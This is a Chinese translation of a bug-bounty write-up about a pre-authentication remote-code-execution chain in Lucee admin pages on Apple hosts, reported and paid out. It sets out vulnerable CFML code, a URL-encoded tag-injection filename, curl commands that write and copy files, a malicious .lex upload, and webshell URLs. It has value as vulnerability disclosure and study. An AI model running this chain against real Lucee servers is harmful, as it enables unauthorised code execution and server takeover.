聚焦源代码安全,网罗国内外最新资讯!
作者:HarshJaiswal 和 Rahul Maini
编译:奇安信代码卫士团队
看了10月份,Sam 和其他人花10个月找到55个漏洞的博客文章后,我们原以为个人信息泄露或访问苹果服务器/内网这类型的漏洞是苹果公司最为感兴趣的漏洞。
在观察侦查到的数据和探索可能正在运行的服务时,我们发现了三个主机运行在基于 Lucee 的 CMS 上。
由于 Lucee 和 CMS 易在本地托管,因此是个不错的目标。我们选择主攻 Lucee,理由是它暴露了管理面板且之前就被曝多个漏洞。Lucee 在 Railo 上下文中分叉。我们可从三个不同的主机上访问管理面板,其中两个运行过时版本,一个运行的是当前版本。
-
https://facilities.apple.com/ (新版本)
-
https://booktravel.apple.com/ (老版本)
-
https://booktravel-uat.apple.com/(老版本)
要利用接下来将讨论的漏洞,我们需要理解苹果使用的 WAF,且更需要了解 facilities.apple.com 上的前端服务器是如何与其交互的。
苹果的 WAF 一言难尽,它通过 URL (查询参数)拦截了几乎所有的路径遍历/SQLi 漏洞。
Facilities.apple.com 前端服务器(反向代理)的配置是仅显示状态码为 200 和 404 的后端服务器响应。如果在后台获得任何其它状态码,则前端服务器将提示403,和触发 WAF 时的响应一致。
在本地测试 Lucee 时,我们发现一个严重的配置不当问题,可使攻击者直接访问经认证的 CFM (ColdFusion) 文件。我们可以在完全未认证的情况下执行很多经认证的操作。
当我们点击 CFM 文件中的 request.admintype 变量/属性时,由于我们并未以管理员身份认证,因此执行流将会停止。然而,检查进行之前的任何代码都会执行,因此必须找到点击 request.admintype 之前的某类 bug。
我们使用这三个文件在 Lucee 上获取完整的预认证/未认证 RCE。
-
imgProcess.cfm (老版本中不可用)
-
admin.search.index.cfm
-
ext.applications.upload.cfm
imgProcess.cfm 中的简单 RCE
为复制苹果的安装程序,我们获得运行同样版本的 Lucee 本地副本。打开不具有任何参数的 imgProcess.cfm 时,安装程序抛出了一个异常。在苹果服务器上打开时我们得到了一个403的响应,也就是说文件存在。我们只需指定正确的参数/值即可;否则后台服务器将抛出异常,而前端服务器会给出403。
错误的参数:
正确的参数:
该文件中存在一个路径遍历漏洞,可在服务器上的任何地方创建一个指定内容的文件。
<cfoutput>
<cffile action="write"
file="#expandPath('{temp-directory}/admin-ext-thumbnails/')#__#url.file#"
Output="#form.imgSrc#"
createPath="true">
</cfoutput>
它获取了一个查询参数 file 并通过如下命令行将其创建为一个文件:
{temp-directory}/admin-ext-thumbnails/__{our-input}
输入可通过 post 参数 imgSrc 进行定义。
可以看到,在利用路径遍历漏洞前,必须存在目录 _ ,因为Linux 要求在遍历前存在路径。幸运的是,如果路径不存在,expandPath 会创建该路径并将路径返回为一个字符串。因此,传递 file=/../../../context/pwn.cfm 将创建 _ 目录并遍历到 webroot 中的上下文目录,因此我们获得一个 RCE。
然而,即使有了这个漏洞,我们也无法在这个苹果案例中利用,因为 WAF 拦截了查询参数中的 ../。该端点会请求参数 file 为查询参数 (url.file,form.imgSrc)。如果均为 form 或 post 参数,则无法触发 WAF。在不触发 WAF 的前提下,我们仍然使用这个端点创建文件(名称和内容由我们在某个目录中控制)。
狡猾的副本
admin.search.index.cfm 可使我们hiding一个目录并将其内容拷贝到指定地址。然而,copy 函数非常狡猾,它实际上并不会复制文件内容,也不会保留文件扩展。
这个端点中有两个参数:
-
dataDir
-
luceeArchiveZipPath
dataDir 是我们想要将文件(通过 luceeArchiveZipPath 参数指定的文件)复制到的路径。如果路径不存在,则创建该路径。我们可以传递一个绝对路径。
<cfif not directoryExists(dataDir)>
<cfdirectory action="create" directory="#dataDir#" mode="777" recurse="true" />
</cfif>
请求示例:
GET /lucee/admin/admin.search.index.cfm?dataDir=/copy/to/path/here/&LUCEEARCHIVEZIPPATH=/copy/from/path/here HTTP/1.1
Host: facilities.apple.com
User-Agent: Mozilla/5.0
Connection: close
了解 copy 函数并不标准后,我们深入分析下其中的代码。
它的 CFML 标记值得关注:
<cfdirectory action="list" directory="#luceeArchiveZipPath#" filter="*.*.cfm" name="qFiles" sort="name" />
该标记在 luceeArchiveZipPath 目录中列出了文件。filter 属性仅与格式为 *.*.cfm 的列表文件交互。该查询结果存储在变量 “qFiles” 中。
接着,它会遍历每个文件(存储在变量 currFile 中),将文件名称中的 ‘.cfm’ 替换为一个空字符串 ‘’,并将更新后的文件名称存储在变量 currAction 中。因此,假设我们的文件名称是 test.xyz.cfm,它会变为 test.xyz。
<cfset currAction = replace(qFiles.name, '.cfm', '') />
之后,检查目录 dataDir 中是否存在类似于 ‘test.xyz.en.txt’ 或 ‘test.xyz.de.txt’ 的文件名称。该 dataDir 变量由用户控制。如果该文件不存在,则会用空格替换文件名称中的点 (‘.’)并将其保存在变量 pageContents.Ing.currAction 中。
<cfif fileExists('#dataDir##currAction#.#lng#.txt')>
<cfset pageContents[lng][currAction] = fileRead('#dataDir##currAction#.#lng#.txt', 'utf-8') />
<cfelse>
<!--- make sure we will also find this page when searching for the file name--->
<cfset pageContents[lng][currAction] = "#replace(currAction, '.', ' ')# " />
</cfif>
随后,创建文件 test.xyz.<lang>.txt,pageContents.Ing.currAction 变量的值为文件内容。
遗憾的是,即使我们可以控制该文件的内容,但它还是创建了.txt文件。不过后续可以看下如何利用文件名称本身搞事。
接下来,将currFile 的内容存储在变量 data 中,过滤掉内容不符合正则表达式 [””##]stText..+?[””##] 的文件,并将其放入 finds 数组中。
<cfset data = fileread(currFile) />
<cfset finds = rematchNoCase('[''"##]stText..+?[''"##]', data) />
之后循环检查 finds 数组中,是否每个项目都以 key 的形式出现。如否,则会将其创建为一个 key 并存储在 searchresults 变量中。
<cfloop array="#finds#" index="str">
<cfset str = rereplace(listRest(str, '.'), '.$', '') />
[..snip..]
<cfif structKeyExists(translations.en, str)>
<cfif not structKeyExists(searchresults[str], currAction)>
<cfset searchresults[str][currAction] = 1 />
<cfelse>
<cfset searchresults[str][currAction]++ />
</cfif>
</cfif>
</cfloop>
最后,这些 key(即 searchresults 变量)以 JSON 的格式存储在 dataDir 目录中名为 “searchindex.cfm” 的文件中。
<cffile action="write" file="#dataDir#searchindex.cfm" charset="utf-8" output="#serialize(searchresults)#" mode="644" />
实际上我们结合利用 imgProcess.cfm 和 admin.search.index.cfm,就在 https://facilities.apple.com 上得到了一个 RCE。
现在,我们可以控制复制文件的目标地址目录(参数 dataDir)并且能够指定复制文件的源目录(参数 luceeArchiveZipPath)。
如果我们可以在服务器上创建这样一个文件:文件名称是 server.<cffile action=write file=#Url[‘f’]# output=#Url[‘content’]#>.cfm,内容是"#stText.x.f#"
,那么就能通过 luceeArchiveZipPath 将路径传递给 admin.search.index.cfm。由于server.<cffile action=write file=#Url[‘f’]# output=#Url[‘content’]#>.cfm 不存在,因此将会创建该key 并写入名为 searchindex.cfm 的文件中。这意味着我们可以通过参数 dataDir 来控制任何目录中searchindex.cfm 文件中的 CFML 标记(类似于 PHP 标记),也就是说我们可以使用该webroot 路径在服务器上执行代码!
我们可以使用 imgProcess.cfm 在目标文件系统上创建文件 server.<cffile action=write file=#Url[‘f’]# output=#Url[‘content’]#>.cfm,而其内容匹配正则表达式 [””##]stText..+?[””##]。
这一尝试并不会触发 WAF,因为我们并未利用路径遍历漏洞。
获得 shell 的步骤
-
创建文件,其文件名称是 server.<cffile action=write file=#Url[‘f’]# output=#Url[‘content’]#>.cfm,内容是 “#stText.x.f#”(匹配正则表达式)。我们将用 URL 对文件名称进行编码,因为后端 (tomcat) 不接受某些字符:
curl -X POST 'https://facilities.apple.com/lucee/admin/imgProcess.cfm?file=%2F%73%65%72%76%65%72%2e%3c%63%66%66%69%6c%65%20%61%63%74%69%6f%6e%3d%77%72%69%74%65%20%66%69%6c%65%3d%23%55%72%6c%5b%27%66%27%5d%23%20%6f%75%74%70%75%74%3d%23%55%72%6c%5b%27%63%6f%6e%74%65%6e%74%27%5d%23%3e%2e%63%66%6d' --data 'imgSrc="#stText.Buttons.save#"'
-
复制文件名称,准备执行代码
curl 'http://facilities.apple.com/lucee/admin/admin.search.index.cfm?dataDir=/full/path/lucee/context/rootxharsh/&LUCEEARCHIVEZIPPATH=/full/path/lucee/temp/admin-ext-thumbnails/__/'
-
编写 shell,触发代码执行
curl https://facilities.apple.com/lucee/rootxharsh/searchindex.cfm?f=PoC.cfm&content=cfm_shell
-
访问 webshell
https://facilities.apple.com/lucee/rootxharsh/PoC.cfm
由于老旧版本中不可使用 imgProcess.cfm,因此我们必须找到某种方式在其它两个主机上获得 RCE。我们发现了另外一种方法。
未经认证的 .lex 文件上传
ext.applications.upload.cfm 部分未经认证。代码片段非常简单。我们需要传递extfile 格式的参数,而文件名称的扩展被设置为 .lex,否则将抛出异常。
<cfif not structKeyExists(form, "extfile") or form.extfile eq "">
...
</cfif>
<!--- try to upload (.zip and .re) --->
<cftry>
<cffile action="upload" filefield="extfile" destination="#GetTempDirectory()#" nameconflict="makeunique" />
<cfif cffile.serverfileext neq "lex">
<cfthrow message="Only .lex is allowed as extension!" />
</cfif>
<cfcatch>
...
</cfcatch>
</cftry>
<cfset zipfile = "#rereplace(cffile.serverdirectory, '[/\]$', '')##server.separator.file##cffile.serverfile#" />
通过 .lex 扩展遍历代码:
<cfif cffile.serverfileext eq "lex">
...
type="#request.adminType#"
...
</cfif>
由于并没有设置 request.admintype,因此它会导致异常。然而,在出现这种情况前,文件仍然被上传,可从如下信息得到证实:
.lex 文件不要紧,但具有 ‘.lex’ 扩展的文档或 zip 文件实际上是 Lucee 的一种扩展格式,可用于上传。此外,由于并未对内容进行检查,因此我们可以将其设置为任何内容。
Exploit
通过查看 Lucee可知,它允许使用zip://、file:// 等协议/方案(在利用链中使用),因此我们可以在 fileSystem 函数具有完全受控输入(本例中是 luceeArchiveZipPath)的情况下指定这些方案。
现在我们可以利用 ext.applications.upload.cfm 创建 .lex 文件,其中内含一个 ZIP 文档,而该文档中包含文件名称为 server.<cffile action=write file=#Url[‘f’]# output=#Url[‘content’]#>.cfm、内容为 “#stText.x.f#” 的文件。
在文件系统中具有 ZIP 文档后,我们可以利用 luceeArchiveZipPath 变量查询ZIP 文档中的 *.*cfm 文件。
在其它2个主机上获得shell
-
创建一个文件,其文件名称为 server.<cffile action=write file=#Url[‘f’]# output=#Url[‘content’]#>.cfm,内容为 “#stText.x.f#”,并将其打包为 payload.lex。
-
通过上述提到的未认证 .lex 文件上传将 .lex 文件上传到 ext.applications.upload.cfm 中。
curl -vv -F [email protected] https://booktravel.apple.com/lucee/admin/ext.applications.upload.cfm
-
文件系统中配置了任意 .lex(zip文档)和 zip:// 格式后,我们可以进行如下工作:
curl https://booktravel.apple.com/lucee/admin/admin.search.index.cfm?dataDir=/full/path/lucee/web/context/exploit/&luceeArchiveZipPath=zip:///full/path/lucee/web/temp/payload.lex
-
当前,名为 server.<cffile action=write file=#Url[‘f’]# output=#Url[‘content’]#>.cfm 的文件已以文本的形式被添加至 /<lucee web>/context/exploit/ 下的searchindex.cfm 文件中,我们可以通过 https://booktravel.apple.com/<lucee root>/exploit/searchindex.cfm 来访问它。
-
向 https://booktravel.apple.com/lucee/exploit/searchindex.cfm?f=test.cfm&output=cfml_shell 提出请求,将创建 webshell
-
Webshell:https://booktravel.apple.com/lucee/exploit/test.cfm?cmd=id
由于负载平衡器的缘故,我们必须使用入侵工具来获取 shell。
苹果虽然迅速修复了这些漏洞,但表示在做出其它变化前不能公开详情。最终,苹果奖励了5万美元的赏金。
另外,我们还和苹果公司一起和 Lucee 团队进行沟通。Lucee 团队通过限制对 cfm 文件直接访问权限的方法修复了该漏洞。目前正在等待 CVE 编号的分配。
非常感谢苹果产品安全团队的信息透明做法,并允许我们披露此 writeup!
https://github.com/httpvoid/writeups/blob/main/Apple-RCE.md
题图:Pixabay License
本文由奇安信代码卫士编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。
奇安信代码卫士 (codesafe)
国内首个专注于软件开发安全的
产品线。
觉得不错,就点个 “在看” 或 “赞” 吧~
原文始发于微信公众号(代码卫士):我俩也组了个队,找到一个苹果RCE 0day,获 $5 万奖金